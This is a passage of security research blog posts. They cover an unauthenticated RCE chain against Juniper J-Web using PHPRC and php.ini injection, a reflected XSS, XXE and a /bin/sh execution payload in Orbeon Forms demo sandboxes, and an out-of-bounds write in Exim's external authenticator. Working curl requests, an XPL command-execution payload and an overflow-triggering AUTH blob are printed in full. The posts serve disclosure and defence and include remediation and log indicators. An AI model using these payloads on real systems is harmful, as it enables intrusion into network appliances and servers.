What's going on here?! We can see that the dynamic linker has correctly located our library, but that it has failed with the error message "Authentication error".

Well, I'm not afraid to admit we spent quite some time debugging this failure.!

Eventually, in a moment of insight, we copied a legitimate binary from the system's /lib dir into the tmp directory, and attempted to invoke it - only to be met with the same Authentication error message:

root@:/var/jail/tmp # /lib/libfetch.so.6
Segmentation fault (core dumped)
# That's okay, at least it's executing something

root@:/var/jail/tmp # cp /lib/libfetch.so.6 .
root@:/var/jail/tmp # ./libfetch.so.6
./libfetch.so.6: Authentication error.
# HUH?!

What's going on here? Our first thought was that the tmp filesystem was mounted with some kind of noexec flag, but that's not the case. What's preventing our binary from being loaded?

Well, it turns out that Juniper is (wisely) using a tool named veriexec, which will limit execution to binaries which have a valid signature - and also verify their location on the filesystem. This means that attempts to upload and execute a payload will fail, since our payloads will be located in a location not whitelisted (and also because they are not cryptographically signed). Great for security, but bad for us - what now? How can we get RCE without the ability to execute any of our own binaries?!

We don't need no steenkin' binaries

The answer, of course, is to use the binaries that are already on the system. While the system is (sensibly) quite minimal, presumably to prevent exactly this kind of attack, there is still one behemoth of an executable at our disposal - PHP itself. The question then becomes, "How can we direct PHP to execute arbitrary code using only environment variables?"

Well, as you can see in the LD_DEBUG output above, we are influencing the execution of /usr/bin/php. Therefore, we dug into environmental variables that can be used to influence the PHP binary at execution.

We soon realised that we could use the PHPRC environment variable, which instructs PHP on where to locate its configuration file, usually called php.ini. We can use our first bug to upload our own configuration file, and use PHPRC to point PHP at it. The PHP runtime will then duly load our file, which then contains an auto_prepend_file entry, specifying a second file, also uploaded using our first bug. This second file contains normal PHP code, which is then executed by the PHP runtime before any other code.

So, in more detail, our bug chain becomes:

1) Use bug #1 (the do_upload bug) to upload a PHP file containing our shellcode

2) Use bug #1 to upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1

3) Use bug #2 to set the PHPRC variable to the file we uploaded in step 2.

Et voilà! RCE!

Here's a complete example chain.

First, upload our PHP file. In this case, we'll just upload a phpinfo script. Since the do_upload operation expects the file contents to be base64-encoded, we'll do that!

$ cat payload.php
<?php 
phpinfo();
?>
$ base64 < payload.php
PD9waHAgDQpwaHBpbmZvKCk7DQo/Pg==
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "test.php", "fileData": ",PD9waHAgDQpwaHBpbmZvKCk7DQo/Pg==", "csize": 22}]'
+:{"converted_fileName":  {0: '7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php'}, "original_fileName":  {0: 'test.php'}}
$

Great, now we have our PHP file uploaded as 7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php. Our 'step 1' is complete - now to upload the new php.ini configuration file.

$ cat php.ini
auto_prepend_file="/var/tmp/7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php"
$ base64 < php.ini
YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzcwNzkzMTA1NDFkZWQ3YjAwZWFlNjFkMjY0Mjdh
OTk3Zjk1NmNkNjhhMjgzNmRkZTIxZTZiNTM0MDYxMDZiZGEucGhwIg==
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "php.ini", "fileData": ",YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzcwNzkzMTA1NDFkZWQ3YjAwZWFlNjFkMjY0MjdhOTk3Zjk1NmNkNjhhMjgzNmRkZTIxZTZiNTM0MDYxMDZiZGEucGhwIg==", "csize": 97}]'
+:{"converted_fileName":  {0: '0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini'}, "original_fileName":  {0: 'php.ini'}}

Okay, so far so good - we have our configuration file stored as 0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini. The last peice of the puzzle is to inject the PHPRC environment variable using our second bug:

$ curl -X POST --insecure https://xxxxxx/webauth_operation.php -F "PHPRC=/tmp/0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini"

Our reward is the PHPinfo output, as we expect.

CVE-2023-36844 And Friends: RCE In Juniper Devices
Never have I been so happy to see a phpinfo page

Of course, making three HTTP requests is tedious, and so we've automated the process and wrapped it up in a nice exploit available on our GitHub.

Other bits and bobs

While searching through the $internal_operations functions, we found a few other things that were perhaps not as earth-shattering as RCE, but speak to the quality of the codebase. We noted trivial reflected XSS in a few endpoints, such as emit_debug_note and sajax_show_one_stub, which would simply format and echo their parameters with the all-important Content-Type: text/html header set, allowing a really easy XSS for any attacker who cares to make a cursory glance over the code:

function 
emit_debug_note (&$debug_back_trace, $label = '', $as_comment = false) 
{
    if ($as_comment == true) {
		print "\n<!--";
    }
   
    print "<h3><b>ERROR: $label</b></h3><br><br>";

    print pretty_backtrace($debug_back_trace);

    if ($as_comment == true) {
		print "-->\n";
    }
}

One would expect that a 'hardened' appliance such as a next-generation firewall or switch would avoid such obvious flaws. Simply specifying a body of rs=emit_debug_note&rsargs[]=1,&rsargs[]=<script>alert('watchTowr says hi')</script>" is enough to pop a message box - no fancy filter evasion required. Classy.

CVE-2023-36844 And Friends: RCE In Juniper Devices
1990 called, it wants it's coding standards back

I guess we'll apply for CVEs for these at some point - but hardly earth-shattering.

Aftermath

We hope this painstaking research is useful to administrators who want more information about the vulnerabilities before deciding if they should patch, and (should they decide to) that it is also useful for those who need to verify that patches have been applied.

We carried out this research using an EC2-hosted SRX device, and were dismayed to find that it is seemingly impossible for us to actually patch the device to latest. Updates are only available to registered users, and it seems that the EC2 integration which performs registration is faulty.

CVE-2023-36844 And Friends: RCE In Juniper Devices
No updates for us.

Of course, we're directed to contact support, which is impossible without.. a registered account. D'Oh!

If you find yourself in a similar situation, or if you'd rather not patch for some reason, we suggest following Juniper's advice to disable the J-Web service completely, or restrict it to (very) trusted users.

Those who have not yet patched and are concerned about the integrity of their systems may wish to check the PHP log files on the appliance, looking for messages similar to the following:

[24-Aug-2023 13:47:29 America/Los_Angeles] Array
(
    [type] => 8
    [message] => Trying to access array offset on value of type null
    [file] => /html/core/session.php
    [line] => 47
)

This error message is a direct result of anonymous access without a valid session, and while not conclusive, may indicate an attack is being attempted. Another item that may be of interest to defenders is the following:

[24-Aug-2023 07:23:38 America/Los_Angeles] CACHING FLOW: query user not set..

This entry, while not indicative of a successful attack, suggests that an action has been attempted via an API endpoint without supplying authentication information, as a possible consequence of an attacker exploring the API to discover useful functionality. An example of an action that causes this message is the move_item operation (see above).

Given the simplicity of exploitation, and the privileged position that JunOS devices hold in a network, we would not be surprised to see large-scale exploitation.

Proof of Concept

Alas, because we enjoyed exploiting this chain of vulnerabilities to achieve unauthenticated RCE so much, we've published our PoC:

https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844

CVE-2023-36844 And Friends: RCE In Juniper Devices

Closing words

This is an interesting bug chain, utilising two bugs that would be near-useless in isolation and combining them for a 'world ending' unauthenticated RCE.

While the quality of the code is much aligned with other devices in its class, such as the Fortiguard and Sonicwall devices we've been breaking, it is worth pointing out here that Juniper's use of veriexec was a wise move, as it complicates code and command execution. However, it is not enough to prevent determined attackers - watchTowr researchers took around half an hour to circumvent it (and, I'll admit, much longer to realise it was in effect).

Those running an affected device are urged to update to a patched version at their earliest opportunity, and/or to disable access to the J-Web interface if at all possible.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Orbeon Forms: The Final Form? On A Journey To RCE

By: Sonny
8 September 2023 at 04:15
Orbeon Forms: The Final Form? On A Journey To RCE

When software is introduced as the solution used by “Enterprises and Governments”, it is almost rude of us not to engage further and see how terrifying everything becomes.

One of our key missions at watchTowr is to review large amounts of data and extract interesting technology that may pose a risk to those unfortunate enough to utilise it.

As part of our Continuous Automated Red Teaming and Attack Surface Management technology - the watchTowr Platform - we're incredibly proud of our ability to discover nested, exploitable vulnerabilities across huge attack surfaces.

Innovation Is Beautiful

Recently, at some ungodly hour of the day, the urge to review some of the “unusual” technology we see appeared - and thus, browsing for a ripe research target to quench the creative thirst began. One thing stood out... Orbeon Forms.

It is not often that we can say that software companies literally paint a target on themselves, but when you describe yourself as “Web Forms for the Enterprise and the Government” - I mean…

A brief summary of the application, taken from their website: https://www.orbeon.com

“Orbeon Forms is your solution to build and deploy web forms on-premises. It handles very large forms with complex validations, as well as extensive collections of forms that are typical of the enterprise or the government”
Orbeon Forms: The Final Form? On A Journey To RCE
Just beautiful.

Web forms are as old as the Internet itself, with a variety of technologies and frameworks to implement something that was already done in the 90’s. Why not stick with just this magnum opus of a design?

Orbeon Forms: The Final Form? On A Journey To RCE
https://www.ventureharbour.com/the-evolution-of-web-forms/

How did Orbeon manage to convince so many people that the <form> tag and its immense power needed improving?

Orbeon Forms: The Final Form? On A Journey To RCE

Needless to say - we found the target of our extra energy. Caffeinated, and inspired to break some code - or, at the very least, understand how we as the human race have improved on the ‘web form’ - we begun.

💡 For those that want to follow along at home, you can find the installation guide at https://doc.orbeon.com/xforms/xforms-tutorial/installation and the source code on Github: https://github.com/orbeon/orbeon-forms. The version we used was orbeon-2022.1.202212310353-CE , deployed on Ubuntu, using Tomcat 9.

Whether you’re an Internet miscreant, someone a little more professional, or just a general “I want to see the world burn” enthusiast, we share a common dream - to project pure mayhem to find bugs of significant impact which are reachable pre-authentication.

Where To Begin?

First impressions of Orbeon Forms show us a “beautiful“ symphony of code - containing Java, Scala and XPL in various flavours - ‘Enterprise’ and ‘Community’, over 500 stars on Github and (so revealed by a brief search of the Internet) is proudly present and exposed by many of the well-known brands that we all use and love.

This story begins with a tried and true method, finding out one thing - where does this bundle of code let me touch it?

By going through each of the accessible web routes, we are establishing two things - first of all, what can we access pre-authentication, and secondly, is there any interesting functionality (the type that gives you the sixth-sense of ‘bad code be here’) that can be reached?

As with all Java applications, we can find these routes defined within the web.xml file. In this case, the formidable /orbeon-war/jvm/src/main/webapp/WEB-INF/web.xml.

Here we can find various filters, but more importantly - servlet paths - denoted within <servlet-mapping> tags. Routes can be reached via HTTP requests aligned to the url-pattern values, mapping back to the servlet. For example, the application route “/xforms-renderer” maps to the orbeon-renderer-servlet, as we can see below:

<servlet-mapping>
        <servlet-name>orbeon-renderer-servlet</servlet-name>
        <url-pattern>/xforms-renderer</url-pattern>
</servlet-mapping>

This in turn maps to the specific class path that handles the request:

<servlet>
        <servlet-name>orbeon-renderer-servlet</servlet-name>
        <servlet-class>org.orbeon.oxf.servlet.OrbeonServlet</servlet-class>
...

This is very atypical of a Java application, and simple to follow. Sifting through the web.xml file and extracting each route available provides us with the following list:

/exist/*
/exist/rest/*
/exist/xmlrpc/*
/xforms-jsp/*
/xforms-renderer
/fr/auth
/fr/service/*
/fr/style/*
/fr/not-found
/fr/error
/fr/login
/fr/login-error

For many Java applications, this would be all we need to do to enumerate application routes. However, Orbeon Forms actually exposes a much more interesting attack surface than it first appears (who would’ve guessed?). We can very rapidly spot that Orbeon Forms not only exposes routes via the usual web.xml file, but also within Scala code and its custom xplfile structure.

We can find additional application defined routes to the.xpl files by examining thepage-flow.xml file. For example, the file  /xforms/jvm/src/main/resources/ops/xforms/xforms-renderer-page-flow.xml:

<controller xmlns="<http://www.orbeon.com/oxf/controller>" matcher="regexp">

    <files path="(?!/([^/]+)/service/).+\\.(gif|css|pdf|json|js|png|jpg|xsd|htc|ico|swf|html|htm|txt)"/>

    <page path="/xforms-renderer" model="xforms-renderer.xpl"/>

We can see that all requests that are sent to the path /xforms-renderer are handled by the xforms-renderer.xpl definition.

So What Is An XPL File?

If - like ourselves a few days ago - you have never seen the syntax, or even an xpl file, fear not - we’re going to demystify it and add more potentially superfluous information to your memory.

What we’ll be looking at is a document written in the “XML Pipeline Definition Language”.

In short, a document written in this language can be used to define how processing and transformation of an XML document can take place. Documents usually define a ‘processor’ via the namespace at the top of the file (similar to XML documents themselves). Variables can then be set, with inputs and outputs, as well as ‘configurations’ which are acknowledged and parsed by the processor.

We’ll go ahead and quickly analyse an example of an endpoint explored later on in this post, just so we can get our heads around what may be going on. Firstly, here are the namespace declarations:

<p:config xmlns:p="<http://www.orbeon.com/oxf/pipeline>"
          xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
          xmlns:oxf="<http://www.orbeon.com/oxf/processors>">

There are three namespaces here. They are named according to the attribute, as p, xsl, and oxf respectively. For example, should anything follow with a tag starting with <p:>, the backend processor will interpret it as part of the first definition, http://www.orbeon.com/oxf/pipeline.

Here’s an example, which does exactly that:

<p:param name="data" type="input"/>
<p:param name="data" type="output"/>

Here we can see the definition of the data parameter with both its input and output declared and attached to the http://www.orbeon.com/oxf/pipeline processor.

Reading a bit further:

<p:for-each href="#data" select="/company/department" ref="data" root="company">
	<p:processor name="oxf:xslt">
		<p:input name="data" href="current()"/>
		<p:input name="config">
			<department name="{/department/@name}" 
	                total-salaries="{sum(/department/employee/@salary)}"
									xsl:version="2.0"/>
	  </p:input>
		<p:output name="data" ref="data"/>
	</p:processor>
</p:for-each>

The data from an input variable, named data, is parsed into the processor which is of the oxf:xslt type. The specific values of /company/data from an XML document are pushed through an XPath sum() function, and then this is ultimately iterated over using the for-each declaration for all nodes in an XML document.

Now What?

Back to the task at hand - routes, routes, routes!

Browsing through /orbeon-war/jvm/src/main/webapp/WEB-INF/resources/apps/home/page-flow.xml, an interesting XPL route immediately stands out:

<controller xmlns="<http://www.orbeon.com/oxf/controller>" matcher="regexp">

    <page path="/home/xforms" model="examples-xforms.xml" view="view.xpl"/>

    <epilogue url="oxf:/config/epilogue.xpl"/>
</controller>

Why does this page have a modelofexamples-xforms.xml?    Recent history, not-so-recent history - effectively, consistently throughout history - shows that example code is a disaster. Is that what we’re looking at here?

Orbeon Forms: The Final Form? On A Journey To RCE

Surprise surprise, we have access to what appears to be shiny demo applications bundled in the default build to demonstrate the true power of XForms (input fields, submit buttons, dropdown option boxes, select buttons!!!), showcased in a variety of adequately named demo sections.

With a cursorary glance over the descriptions provided, we can see that ”XForms Sandbox” references upload functionality and “XPath” allows…  XPath expressions!

Building Castles In The Sandbox

First up, the XPath sandbox. We can see this is located at /orbeon/sandbox-transformations/xpath/. The page prompts us for two inputs - an XML Document, and an XPath query that selects from the supplied document.

Even without diving into the code, experience, logic, common sense tells us that there are fairly common bug classes that this likely is ‘open to’ - namely XXE.

Performed in a  standard manner - we can load the contents of /etc/passwd into the contents of the returned XML blob via an External XML Entity, and then using the XPath query to select the root node from the XML document.

Orbeon Forms: The Final Form? On A Journey To RCE

We’d say this is definitely an interesting improvement on the historically boring HTML forms we see - innovation is brilliant.

Our demo environment is running on Tomcat, where a local file read is typically devastating - should the Tomcat server have users configured, we can simply read their credentials from the tomcat-users.xml file. From there, compromise is trivial, and beyond the scope of what we feel the need to discuss here.

We’re not stargazers, we’re not astrologers - we don’t believe in waiting for stars to align, and the above situation won’t always exist. Let’s continue on our projected path to mayhem.

Where There’s Smoke, There’s Mayhem

Just as an unrelated, almost irrelevant reminder - Orbeon Form’s proudly stated client base is ‘Enterprises’ and ‘Governments’.

It’s time to dive further down the rabbit hole, and into more code.

We can see, by looking at the route declaration in the previously discussed page-flow.xml file for this particular endpoint (/src/main/webapp/WEB-INF/resources/apps/sandbox-transformations/page-flow.xml), there is no explicit mention of the/xpath/ route that we played with above, but is infact matched by a regex pattern after /sandbox-transofrmations/:

<controller xmlns="<http://www.orbeon.com/oxf/controller>" matcher="regexp">

    <page path="/sandbox-transformations/([^/]+)/"
          default-submission="parameters.xml" view="view.xhtml">
        <setvalue ref="/*/name" matcher-group="1"/>
    </page>

    <page path="/sandbox-transformations/([^/]+)/run" view="${1}/run.xpl"/>
    <page path="/sandbox-transformations/([^/]+)/input" view="${1}/input.xml"/>
    <page path="/sandbox-transformations/([^/]+)/transformation" view="${1}/transformation.xml"/>

    <epilogue url="oxf:/config/epilogue.xpl"/>

</controller>

A quick grep through the code reveals there to be further hidden application routes that can be accessed through this regex pattern:

/xpath/
/xslt/
/schema/
/xpl/

Remote Code Execution through the transformation of an XSLT file is well-trodden ground - thus, the /xslt/ endpoint drew attention.

This page requests similar input to the /xpath route we saw previously, in that we’re presented with an XML-style input, however now it’s followed by an XSLT definition which is then applied to transform the provided XML document.

If you’re not experienced exploiting XSLT’s, one of the first motions you can go through is to determine the backend library being used. Different libraries come with their own inherent vulnerabilities (CVEs) as well as different functionality that may be abused.

This template allows us to enumerate what the application is using:

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>
Orbeon Forms: The Final Form? On A Journey To RCE

It was not possible to escalate to RCE using the techniques mentioned in Agarri’s article linked above, or for us to write to a file using the result-file function. Reviewing application error logs suggested this functionality has been explicitly disabled:

Orbeon Forms: The Final Form? On A Journey To RCE

Shielded from any feelings of defeat, but knowing that shells on .gov are within reach, the /xpl/ route was dived into and initially appeared to be quite promising.

Orbeon Forms: The Final Form? On A Journey To RCE

After initially reviewing the sample code provided, we understood as to why the prior XSLT activities were proving unsuccessful - our problems were likely coming from the processor with type ox:xslt. Thus, naturally - we dived into the definition of that processor to figure out why.

Processors are defined within the file /src/main/resources/processors.xml. Examining this file we can see the processor tagged by name, with some kind of instantiation referring to a class it references:

<processor name="oxf:xslt">
	<instantiation name="oxf:builtin-saxon"/>
</processor>

We also see a different processor named oxf:unsafe-xslt, which appears to disable a whole host of security-sensitive functions (like result-file that we tried to use before).

In totality  - we have no less than 130 processors to choose from.

A quick search for the keywords that would provide quick wins, quickly provides a promising candidate:

<processor name="oxf:execute-processor">
	<class name="org.orbeon.oxf.processor.execute.ExecuteProcessor"/>
</processor>

A brief, famously cursory look at the referenced class, org.orbeon.oxf.processor.execute.ExecuteProcessor, shows references to the org.apache.tools.ant.taskdefs.ExecTask class, and some handling of its output via outputStdout and outputStderr methods.

Sounds like another fantastic improvement on the HTML <form> tag.

Orbeon Forms: The Final Form? On A Journey To RCE

This is clearly the ‘diamond in the rough’ processor that we were looking for. To check that the custom processor is callable, we quickly inject the following processor declaration into the /xpl form and set a breakpoint in my debugger:

<p:processor name="oxf:execute-processor">
</p:processor>

What a stroke of luck - the breakpoint triggers, indicating that our processor is being parsed!

Orbeon Forms: The Final Form? On A Journey To RCE

The next step is to figure out how to call the processor with valid inputs.

As luck would strike, we found an example file located in the source repo which demonstrates the use of the ExecuteProcessor at /src/examples-cli/execute/execute-command.xpl, and adapted it for my nefarious needs, changing the target binary to the usual /bin/sh, supplying some arguments, and transforming the output using a different processor to match an expected XML format:

Orbeon Forms: The Final Form? On A Journey To RCE

Well, we get it now. HTML <forms> really did need innovation. We have pre-auth RCE, and well - a clear understanding of who might be vulnerable.

Payload in it’s final form (ha ha, get it?):

<!-- Defines the Namespaces Required -->
<p:config xmlns:p="<http://www.orbeon.com/oxf/pipeline>"
          xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
          xmlns:oxf="<http://www.orbeon.com/oxf/processors>">

<!-- Defines the RCE Processor -->
    <p:param name="data" type="output"/>
<p:processor name="oxf:execute-processor">
        <p:input name="config">
            <exec executable="/bin/sh" dir="/tmp/">
                <arg line="-c 'uname -a' "/>
            </exec>
        </p:input>
        <p:output name="stdout" id="stdout"/>
    </p:processor>

    <!-- Convert result and serialize to XML -->
    <p:processor name="oxf:xml-converter">
        <p:input name="config">
            <config>
                <encoding>UTF-8</encoding>
                <indent>true</indent>
                <indent-amount>4</indent-amount>
            </config>
        </p:input>
        <p:input name="data" href="#stdout"/>
        <p:output name="data" ref="data"/>
    </p:processor>

</p:config>
Orbeon Forms: The Final Form? On A Journey To RCE

It’s A Feature, Not A Bug

After some time and reflection into both exploring this opportunity and writing this blog post, we looked at ourselves in the mirror. Demo code? Is this realistic? Did we gain or lose Internet points?

We arrived at the conclusion that we had gained Internet points. When initially installing Orbeon Forms, there are no obvious warnings or blockers to prevent introducing this vulnerable code into my “production” environments. A quick Google search to confirm if our level of intelligence reflected the “average user”, rapidly confirmed that - yes, we are not alone.

It would be wrong to not point out that looking through the documentation for Orbeon Forms, we can find here a list of items that “can” be removed from a production WAR file. This includes several demo JSP files as well as the interesting Demo Applications exploited above.

Orbeon Forms: The Final Form? On A Journey To RCE

The truth is, In the hustle of software development where sprints are fast, deployments agile and environments complex, it is tough to keep track of every detail and possible security vulnerability for our code building friends. It's even harder when holes are built into a product you’re not square-inch familiar with and the recommendation to remove doesn’t come with loud .wav’s , <marquee> or pop-up boxes - or, an obnoxious <form>.

Having to directly edit and build your own WAR file to remove unknown vulnerabilities (based on our cursory (we love this word) search) shows that even the well-oiled, well-funded engineering teams also missed this memo.

<marqueee> * Please bring back marquee tags !* </marquee>

💡 A brief history lesson for my friends still reading this far down, If we take some examples that include dangerous functionality when pushed to production, you can get a feel for what i’m alluding to.
We owe a great Thankyou to artsploit for teaching us the way of Springboot Actuators, a bundled developer suite of diagnostic and debug endpoints which “can” be enabled without authentication. One such critical example of this is the /trace endpoint which returns to us a nicely JSON formatted output of all HTTP request logs, including headers (yum, cookies).
Laravel’s Ignition has had its problems with its debug functionality, that when enabled allowed for the introduction to a PHAR deserialization vulnerability. - https://hackmag.com/coding/laravel-ignition-rce/
Birt Report Viewer  - An Open-source report generation Tool used by large enterprises, this tool came bundled with its own ‘Example’ directory and ‘Sample’ template with controllable parameters. As the example could be triggered into generating a report with its own custom filename, a .JSP “report” could be created and sample data injected, allowing for Remote Code Execution.
In short, as hackers we’re no strangers to seeing unintended functionality being introduced to targets exposed to the Internet, simple documentation isn’t adequate enough to prevent this.

We reached out to the developers at Orbeon who have agreed that shipping the example code by default, bundled inside their production war files, does open up users to potential bad things.

They did provide us with this - “The whole purpose of the sandboxes is to allow remote code execution :)”.  Like we said, we have a lot of respect for innovation.

Remediation is documented, and provided by Orbeon as follows:

Our personal recommendation is to verify in your current setup that the example applications are not accessible, just visit your page: httpx://host/orbeon/home/xforms to see 🙂

Orbeon have been a pleasure to communicate and work with, and they’re correct in what we have stumbled upon is a feature and not a bug.

Unfortunately, the security world does not operate based on intention. What Orbeon haven’t accounted for is that relying on anyone to fully read any documentation, let alone to disable this feature (despite no glaring security warnings), inadvertently opens up their customers to exploitation.

Let's not forget the purpose of this application is to create forms for users to submit their data - data which is likely to be highly sensitive.

They weren’t kidding when they said enterprises and governments use this software.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Date Detail
1st August 2023 Vulnerability discovered
1st August 2023 Requested security contact for Orbeon
2nd August 2023 Received security contact, disclosed to Orbeon
2nd August 2023 watchTowr hunts through client's attack surfaces for impacted systems, communicates with those affected.
29th August 2023 The Orbeon development team acknowledges validity of report, and releases fix in version 2023.1
8th September 2023 Blogpost and PoC released to public

90s Vulns In 90s Software (Exim) - Is the Sky Falling?

2 October 2023 at 12:02
90s Vulns In 90s Software (Exim) - Is the Sky Falling?

A few days ago, ZDI went public with no less than six 0days in the popular mail server Exim. Ranging from ‘potentially world-ending' through to ‘a bit of a damp squib’, these bugs were apparently discovered way back in June 2022 (!) - but naturally got caught up in the void between the ZDI and Exim for quite some time. Mysterious void.

As a brief background on Exim, “Exim is a message transfer agent (MTA) originally developed at the University of Cambridge for use on Unix systems connected to the Internet”. Exim is in use on millions of systems worldwide, and has a history of ‘interesting vulnerabilities’.

Given this, there has been a lot of panic about the issues (which we attempted to quell somewhat with our tweet thread on the issues), but they boil down to a few admittedly dangerous bugs that require a very specific environment to be accessible.

For example, CVE-2023-42117 is only going to affect you if you use Exim’s ‘proxy’ functionality with an untrusted proxy, which seems like an unlikely scenario. Here’s a quick rundown of the bugs and the functionality they depend on:

CVE CVSS Requirements
CVE-2023-42115 9.8 “External” authentication scheme configured and available
CVE-2023-42116 8.1 “SPA” module (used for NTLM auth) configured and available
CVE-2023-42117 8.1 Exim Proxy (different to a SOCKS or HTTP proxy) in use with untrusted proxy server
CVE-2023-42118 7.5 “SPF” condition used in an ACL
CVE-2023-42114 3.7 “SPA” module (used for NTLM auth) configured to authenticate the Exim server to an upstream server
CVE-2023-42119 3.1 An untrusted DNS resolver

You can see that the bugs have quite a lot of requirements. Most of us don’t need to worry. If you’re one of the unlucky ones who uses one of the listed features though, you’ll be keen to get more information before undertaking ZDI’s advice to “restrict interaction with the application”.

Fear not, watchTowr is here with some analysis! Let’s take a close look at that big scary CVSS 9.8 in the “External” authentication scheme, and see if it really is as scary as it sounds.

CVE-2023-42115

So, what is ‘external’ authentication all about, anyway?

Well, it enables authentication based on some properties which are ‘external’ to the SMTP session - usually an x509 certificate.

It is configured in the usual way in the Exim configuration file with a line such as driver = external, along with a handful of properties that directs the server to extract and test the correct information from the client. The Exim documentation gives an example similar to the following:

ext_ccert_san_mail:
  driver =            external
  public_name =       EXTERNAL

  server_param2 =     ${certextract {subj_altname,mail,>:} {$tls_in_peercert}}
  server_condition =  ${if forany {$auth2} {eq {$item}{$auth1}}}
  server_set_id =     $auth1

Slightly obtuse, but this is a mostly-readable method of verifying that the cert provided by the client has the correct ‘Subject Alternative Name’ for mail authentication, and then it proceeds to check that the username presented by the client (stored in the $auth1 variable) matches the certificate. This $auth1 is presented by the client in the form of a base64-encoded blob after the AUTH command.

This $auth1 variable is just one parameter that the external matcher takes, however. Other parameters can be provided, delimited by a binary NULL byte. These are put into variables $auth2 through $auth4. These are stored in the auth_vars global var.

uschar *auth_vars[AUTH_VARS];    // AUTH_VARS is 4 at this point

The code which parses these variables will carefully check that it does not write to this global beyond its 4-element limit, as we can see in a clarified version of get-data.c:

#define EXPAND_MAXN 20

int
auth_read_input(const uschar * data)
{
   if ((len = b64decode(data, &clear)) < 0)
     return BAD64;

   for (end = clear + len; clear < end && expand_nmax < EXPAND_MAXN; )
   {
      if (expand_nmax < AUTH_VARS)
         auth_vars[expand_nmax] = clear;
       expand_nstring[++expand_nmax] = clear;
       while (*clear != 0) 
          clear++;
       expand_nlength[expand_nmax] = clear++ - expand_nstring[expand_nmax];
   }
}

What happens if we supply more than four variables? Well, there’s no problem, there’s the crucial if (expand_nmax < AUTH_VARS) before writing to auth_vars. OOB write isn’t possible here.

However, the ‘external’ authenticator in particular misuses this functionality. It calls the code snippet above, which counts the variables, correctly ignoring any that are beyond AUTH_VARS. However, let’s see what the external authenticator does once auth_read_input has returned:

if (*data)
  if ((rc = auth_read_input(data)) != OK)
    return rc;

...

if (ob->server_param2)
{
  uschar * s = expand_string(ob->server_param2);
  auth_vars[expand_nmax] = s;       // 👀!!
  expand_nstring[++expand_nmax] = s;
  expand_nlength[expand_nmax] = Ustrlen(s);
  if (ob->server_param3)
  {
    s = expand_string(ob->server_param3);
    auth_vars[expand_nmax] = s;
    expand_nstring[++expand_nmax] = s;
    expand_nlength[expand_nmax] = Ustrlen(s);
  }
}

What’s that I spy? Is that an unguarded access to auth_vars, indexed by the expand_nmax that holds the number of variables observed, and may be anywhere up to EXPAND_MAXN (20)?!

90s Vulns In 90s Software (Exim) - Is the Sky Falling?

I think so!

This enables an attacker to write two pointers, pointing to the data at ob->server_param2 and ob->server_param3, beyond the index of the auth_vars buffer.

Here’s an example SMTP session to show the overflow in action. Unfortunately, no segfault is produced, and the corruption is silent. We verified the overflow by adding extra logging to Exim.

EHLO watchtowr
> 250-host Hello root at watchtowr
AUTH external YWFhYQBhYWFhAGFhYWEAYWFhYQBhYWFhAGFhYWEAYWFhYQo=

Here, we’ve connected to the server, said hello (well, EHLO, which is an extended version of the usual HELO), and elected to perform external authentication via the AUTH external command, supplying a base64-encoded blob, as one would expect. The base64-encoded blob in question, however, contains seven fields, delimited by NULL bytes.

$ echo YWFhYQBhYWFhAGFhYWEAYWFhYQBhYWFhAGFhYWEAYWFhYQo= | base64 -d | hexdump.exe -C
00000000  61 61 61 61 00 61 61 61  61 00 61 61 61 61 00 61  |aaaa.aaaa.aaaa.a|
00000010  61 61 61 00 61 61 61 61  00 61 61 61 61 00 61 61  |aaa.aaaa.aaaa.aa|
00000020  61 61 0a                                          |aa.|

The first four variables are correctly parsed by auth_read_input, which duly sets expand_nmax to 7, since there are seven variables present. The ‘external’ authenticator then attempts to append the ob->server_param2 variable - resulting in the promised OOB write to auth_vars[7] .

Consequences

So, scary stuff! CVSS 9.8!

Not quite. Even if you do rely on this functionality, it is difficult to imagine how an attacker could craft a functional exploit given the constraints on the written data. Of course, it’s always possible - never say never! - but it seems unlikely to us.

